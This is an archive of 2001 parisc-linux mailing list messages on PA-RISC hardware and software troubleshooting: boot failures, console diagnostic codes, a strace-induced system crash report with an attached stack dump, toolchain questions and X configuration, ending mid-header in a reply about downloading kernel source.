Mail-Followup-To: Linux/HPPA List <parisc-linux@parisc-linux.org>
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:11852

2.4's patchlevel is getting closer to double digits.  Does this mean
upgrades are getting safer?  =)

Or less facetiously, is another CVS merge planned or are there problems
in this release as with 2.4.7?  (Don't follow l-k and am just curious.)

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:18:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Timothy Ball <timball@tux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712/60 screwy console stuff
Date: Sat, 11 Aug 2001 16:04:25 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <20010811160425.E13253@gwyn.tux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620375 23589 80.91.229.3 (22 Nov 2014 01:39:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:35 +0000 (UTC)
To: parics Linux Mailing List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 11 14:04:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gwyn.tux.org (gwyn.tux.org [207.96.122.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id A448D4838
	for <parisc-linux@lists.parisc-linux.org>; Sat, 11 Aug 2001 14:04:26 -0600 (MDT)
Original-Received: (from timball@localhost)
	by gwyn.tux.org (8.9.3/8.9.1) id QAA25234
	for parisc-linux@lists.parisc-linux.org; Sat, 11 Aug 2001 16:04:25 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:11853

I got a 712/60 and I'm connecting to it via serial console and when I
power it up I get this:

--snip--snip--snip--
0x04.1095
0x04.1096
0x04.1090
0x04.108D
0x04.10D4
0x04.10D9
0x04.4080
0x04.4081
0x04.4082
0x04.8300
0x04.8322
0x04.8324
--snip--snip--snip--

and on and on and on.

Anyone know what this means?

--timball

-- 
	GPG key available on pgpkeys.mit.edu
pub  1024R/CFF85605 1999-06-10 Timothy L. Ball <timball@sheergenius.com>
     Key fingerprint = 8A 8E 64 D6 21 C0 90 29  9F D6 1E DC F8 18 CB CD




From - Thu Nov 08 21:18:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Santiago Garcia Mantinan <manty@manty.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc machine system crash
Date: Sat, 11 Aug 2001 22:07:08 +0200
Lines: 85
Approved: news@gmane.org
Message-ID: <20010811220708.C4089@man.beta.es>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="bp/iNruPH9dso1Pn"
X-Trace: ger.gmane.org 1416620375 23592 80.91.229.3 (22 Nov 2014 01:39:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 11 14:07:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from manty.net (unknown [213.96.224.204])
	by dsl2.external.hp.com (Postfix) with ESMTP id 318734838
	for <parisc-linux@lists.parisc-linux.org>; Sat, 11 Aug 2001 14:07:10 -0600 (MDT)
Original-Received: from man.beta.es (man.beta.es [192.168.1.1])
	by manty.net (Postfix) with ESMTP id 9C08D15EBD
	for <parisc-linux@lists.parisc-linux.org>; Sat, 11 Aug 2001 22:07:08 +0200 (CEST)
Original-Received: by man.beta.es (Postfix, from userid 1000)
	id 43C30B903; Sat, 11 Aug 2001 22:07:08 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:11854

--bp/iNruPH9dso1Pn
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi!

I'm one of the Debian developers and I've been trying to get openh323
package to work on the parisc architecture lately, I nearly got it to run,
but I still have some problems wich I haven't been able to trace (if anyone
wants to try and help me with this, he can gatter my latest packages from
debian unstable). The thing is that while trying to trace down this problems
I have crashed paer, a debian's parisc machine.

The proccess that I did run was to strace simph323, an example of the
openh323 library. I had libpt1 from pwlib_1.1.34-2 installed on the machine
and had liboh323v1 and simph323 from openh323_1.5.6-2 installed on my home
directory, then whenever I run...

LD_LIBRARY_PATH=/home/manty/p/usr/lib strace -ff -o salida
usr/bin/simph323 -n -l -s loopback

paer would crash, I think this also happens with strace -f but not with a
plain strace.

I cannot do much tests, as I don't have a local machine that I can reset and
all that, so, it would be good if someone could test this out. The packages
have been installed on Debian right now, but will be in the mirrors soon if
they are not yet there.

I'm attaching a dump of the stack of paer when it crashed hoping that it
will give you enough info to help with this. Paer is running kernel
2.4.0-pa43 without SMP and runs libc6 2.2.3-9.

Well, I don't know what else I could say, but if you find that I'm missing
something, don't hesitate to ask.

Thanks in advance.

Regards...
-- 
Manty/BestiaTester -> http://manty.net

--bp/iNruPH9dso1Pn
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="paer_stack.dump.gz"
Content-Transfer-Encoding: base64

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
v335173A6F2H86H6H7jjvtqNIgAA

--bp/iNruPH9dso1Pn--




From - Thu Nov 08 21:18:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60 screwy console stuff
Date: Sun, 12 Aug 2001 12:28:30 -0600
Lines: 23
Approved: news@gmane.org
Message-ID: <200108121828.MAA05262@puffin.external.hp.com>
References: <timball@tux.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620376 23599 80.91.229.3 (22 Nov 2014 01:39:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:36 +0000 (UTC)
Cc: parics Linux Mailing List <parisc-linux@lists.parisc-linux.org>
To: Timothy Ball <timball@tux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 12 12:30:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2AA894838
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Aug 2001 12:30:07 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA05262;
	Sun, 12 Aug 2001 12:28:30 -0600
In-Reply-To: Message from Timothy Ball <timball@tux.org> 
   of "Sat, 11 Aug 2001 16:04:25 EDT." <20010811160425.E13253@gwyn.tux.org> 
Xref: news.gmane.org gmane.linux.ports.parisc:11855

Timothy Ball wrote:
> I got a 712/60 and I'm connecting to it via serial console and when I
> power it up I get this:
> 
> --snip--snip--snip--
> 0x04.1095
> 0x04.1096
> 0x04.1090
> 0x04.108D

Those are diagnostic messages from the PDC telling what's going on.
Useful for when the machine *stops* working and won't get to a
"BOOT_ADMIN" prompt. I'm doubt the magic decoder ring for those
has been published though...

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: DraX <drax@whiplash.stampede.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] toolchain
Date: Sun, 12 Aug 2001 12:28:25 -0700 (PDT)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10108121225590.4893-100000@whiplash.stampede.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620376 23602 80.91.229.3 (22 Nov 2014 01:39:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 12 13:28:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from whiplash.stampede.org (stampede.org [198.186.203.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A3444838
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Aug 2001 13:28:26 -0600 (MDT)
Original-Received: from localhost (drax@localhost)
	by whiplash.stampede.org (8.11.2/8.11.2) with ESMTP id f7CJSPc04909
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Aug 2001 12:28:25 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:11856

xMach will soon be talking the PA-Mach port from Utah and merging it in to
our source tree, but we are in need of a new PA-RISC toolchain. Is the
PA-Linux team now the maintainers of it? If so could someone give a little
less linux oriented instructions for building the tool chain?







From - Thu Nov 08 21:18:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Timothy Ball <timball@tux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XFree86?
Date: Sun, 12 Aug 2001 19:47:14 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20010812194714.M13253@gwyn.tux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620376 23604 80.91.229.3 (22 Nov 2014 01:39:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:36 +0000 (UTC)
To: parics Linux Mailing List <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 12 17:47:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gwyn.tux.org (gwyn.tux.org [207.96.122.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62F554838
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Aug 2001 17:47:16 -0600 (MDT)
Original-Received: (from timball@localhost)
	by gwyn.tux.org (8.9.3/8.9.1) id TAA22090
	for parisc-linux@lists.parisc-linux.org; Sun, 12 Aug 2001 19:47:14 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:11857

I know it's possible to do this using the fb. But I don't know how to
answer all the questions asked for by xf86config. (specifically about
the video card) 

Does anyone have this working and can just send me a working X86Config-4
File? I have a A2094A monitor, it's fixed frequency 1280x1024 72Hz, so I
hope it can be made to work... 

--timball

-- 
	GPG key available on pgpkeys.mit.edu
pub  1024R/CFF85605 1999-06-10 Timothy L. Ball <timball@sheergenius.com>
     Key fingerprint = 8A 8E 64 D6 21 C0 90 29  9F D6 1E DC F8 18 CB CD




From - Thu Nov 08 21:18:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nicholas Leippe <nick@byu.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Can't boot 9.2 iso on B132L
Date: Sun, 12 Aug 2001 19:01:03 -0700
Organization: BYU
Lines: 52
Approved: news@gmane.org
Message-ID: <01081219010300.29208@nick>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620377 23609 80.91.229.3 (22 Nov 2014 01:39:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:37 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Aug 12 20:01:07 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from femail40.sdc1.sfba.home.com (femail40.sdc1.sfba.home.com [24.254.60.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id BB40E482B
	for <parisc-linux@parisc-linux.org>; Sun, 12 Aug 2001 20:01:06 -0600 (MDT)
Original-Received: from nick ([65.12.82.119]) by femail40.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP
          id <20010813020105.PBSO25522.femail40.sdc1.sfba.home.com@nick>
          for <parisc-linux@parisc-linux.org>;
          Sun, 12 Aug 2001 19:01:05 -0700
X-Mailer: KMail [version 1.2]
Xref: news.gmane.org gmane.linux.ports.parisc:11858

I've tried both graphical and serial console and get the same thing.
I also burned a second disk with the iso since the first couldn't be
read on my x86 box.  The second disk mounted just fine on my x86 box,
so I assume that it at least is good, though it gives the same error.

Main Menu: Enter command > sea
 
Searching for potential boot device(s)...
This may take several minutes.
 
To discontinue search, press any key (termination may not be immediate).
 
 
   Path Number        Device Path              Device Type
   -----------        -----------------        -----------
   P0                 FWSCSI.6.0               SEAGATE ST34572WD
   P1                 FWSCSI.0.0               SGI     QUANTUM XP32150W
   P2                 SESCSI.5.0               TOSHIBA CD-ROM XM-5301TA


Main Menu: Enter command > bo P2
Interact with IPL (Y, N, Q)?> n
 
Booting...
Failed to initialize.
 
ENTRY_INIT
Status = -10
 
FFFFFFF6 00000001 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000 454E4841 00000005 00000000 454E4846
00000000 00000000 00000000 00000000 00000002 00000005 00000020 00000000
 
Failed to initialize.



Any suggestions?

Nick

-- 
Nobody will ever need more than 640 kB RAM.
                 -- Bill Gates, 1983
Windows 98 requires 16 MB RAM.
                 -- Bill Gates, 1999
Nobody will ever need Windows 98.
                 -- logical conclusion




From - Thu Nov 08 21:18:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Weerts <christian@familie-weerts.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems on booting 715/80
Date: Mon, 13 Aug 2001 12:06:33 +0000
Organization: private
Lines: 16
Approved: news@gmane.org
Message-ID: <20010813120633.A396@familie-weerts.de>
Reply-To: Christian Weerts <christian@familie-weerts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620377 23617 80.91.229.3 (22 Nov 2014 01:39:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 13 04:12:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.familie-weerts.de (dialin-73048.ewetel.net [212.6.73.48])
	by dsl2.external.hp.com (Postfix) with ESMTP id CFAED482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Aug 2001 04:12:33 -0600 (MDT)
Original-Received: from cw by mail.familie-weerts.de with local (Exim 3.12 #1 (Debian))
	id 15WGUL-00006x-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Aug 2001 12:06:33 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:11859

Hi,

i have some problems booting a 715/80. This machine has an svga-video
output. When i switch the power on, the monitor does'nt display anything.
The lights of the keyboard is blinking once, and then there is nothing else.
Also pressing ESC during booting has no results.
Any hints for an newbie on PA-RISC?

Regards,
	Christian

-- 
http://oldenburg.linux.de




From - Thu Nov 08 21:18:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems on booting 715/80
Date: Mon, 13 Aug 2001 13:05:43 +0200
Organization: SAP LinuxLab
Lines: 23
Approved: news@gmane.org
Message-ID: <200108131105.NAA06226@sap-ag.de>
References: <20010813120633.A396@familie-weerts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620377 23623 80.91.229.3 (22 Nov 2014 01:39:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:37 +0000 (UTC)
To: Christian Weerts <christian@familie-weerts.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 13 05:05:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 083DB482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Aug 2001 05:05:46 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id NAA16588;
  Mon, 13 Aug 2001 13:07:43 +0200 (MESZ)
X-Mailer: KMail [version 1.2.3]
In-Reply-To: <20010813120633.A396@familie-weerts.de>
X-SAP: out
Xref: news.gmane.org gmane.linux.ports.parisc:11860

On Monday 13 August 2001 14:06, Christian Weerts wrote:
> Hi,
>
> i have some problems booting a 715/80. This machine has an svga-video
> output. When i switch the power on, the monitor does'nt display anything.
> The lights of the keyboard is blinking once, and then there is nothing
> else. Also pressing ESC during booting has no results.
> Any hints for an newbie on PA-RISC?
>
> Regards,
> 	Christian

Hi Christian,

you could try to press the TAB-key directly after switching on the computer.
This should bring you to a cycle-through-all-video-modes mode and let you 
configure the correct monitor for your system.

Greetings,
Helge




From - Thu Nov 08 21:18:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Weerts <christian@familie-weerts.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems on booting 715/80
Date: Mon, 13 Aug 2001 13:38:54 +0000
Organization: private
Lines: 32
Approved: news@gmane.org
Message-ID: <20010813133854.B313@familie-weerts.de>
References: <20010813120633.A396@familie-weerts.de> <200108131105.NAA06226@sap-ag.de>
Reply-To: Christian Weerts <christian@familie-weerts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620377 23629 80.91.229.3 (22 Nov 2014 01:39:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:37 +0000 (UTC)
Cc: parisc-ml <parisc-linux@lists.parisc-linux.org>
To: Helge Deller <helge.deller@sap.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 13 05:42:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.familie-weerts.de (dialin-86215.ewetel.net [212.6.86.215])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC278482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Aug 2001 05:42:45 -0600 (MDT)
Original-Received: from cw by mail.familie-weerts.de with local (Exim 3.12 #1 (Debian))
	id 15WHvi-00005r-00; Mon, 13 Aug 2001 13:38:54 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200108131105.NAA06226@sap-ag.de>; from helge.deller@sap.com on Mon, Aug 13, 2001 at 01:05:43PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11861

* Helge Deller <helge.deller@sap.com> [010813 11:05]:
> On Monday 13 August 2001 14:06, Christian Weerts wrote:
> > Hi,
> >
> > i have some problems booting a 715/80. This machine has an svga-video
> > output. When i switch the power on, the monitor does'nt display anything.
> > The lights of the keyboard is blinking once, and then there is nothing
> > else. Also pressing ESC during booting has no results.
> > Any hints for an newbie on PA-RISC?
> >
> > Regards,
> > 	Christian
> 
> Hi Christian,
> 
> you could try to press the TAB-key directly after switching on the computer.
> This should bring you to a cycle-through-all-video-modes mode and let you 
> configure the correct monitor for your system.
> 
> Greetings,
> Helge
> 
That's it! Thank's Helge.

Gruss,
	Christian

-- 
http://oldenburg.linux.de




From - Thu Nov 08 21:18:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Downloading kernel source
Date: Mon, 13 Aug 2001 17:40:19 +0200 (CEST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0108131738060.12006-100000@leo.uni-sw.gwdg.de>
References: <99F41EF55D11D511818600D0B74749C496F42B@wchrntms01.uk.wmmercer.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620378 23636 80.91.229.3 (22 Nov 2014 01:39:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:38 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 13 09:40:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from leo.uni-sw.gwdg.de (leo.uni-sw.gwdg.de [134.76.205.152])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD550482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Aug 2001 09:40:27 -0600 (MDT)
Original-Received: from weilbach (helo=localhost)
	by leo.uni-sw.gwdg.de with local-esmtp (Exim 3.16)
	id 15WJpD-0003YE-00
	for parisc-linux@lists.parisc-linux.org; Mon, 13 Aug 2001 17:40:19 +0200
In-Reply-To: <99F41EF55D11D511818600D0B74749C496F42B@wchrntms01.uk.wmmercer.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11862

Hi,

is there a place to download the more or less current kernel source
(as tarball)? A few weeks ago I was trying to get it via CVS, but
that took hours, and I finally realized that I got the wrong one...
I wanted to give it a new try with JFS...

Greetings,
	Peter.





From - Thu Nov 08 21:18:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Downloading kernel source
Date: 13 Aug 2001 09:54:23 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <87hevc551s.fsf@rover.gag.com>
References: <99F41EF55D11D511818600D0B74749C496F42B@wchrntms01.uk.wmmercer.com>
	<Pine.LNX.4.33.0108131738060.12006-100000@leo.uni-sw.gwdg.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620378 23642 80.91.229.3 (22 Nov 2014 01:39:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug 13 09:54:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from merulo.debian.org (merulo.external.hp.com [192.25.206.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9EA47482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 13 Aug 2001 09:54:27 -0600 (MDT)
Original-Received: from winfree.gag.com [192.133.104.8] 
	by merulo.debian.org with esmtp (Exim 3.31 1 (Debian))
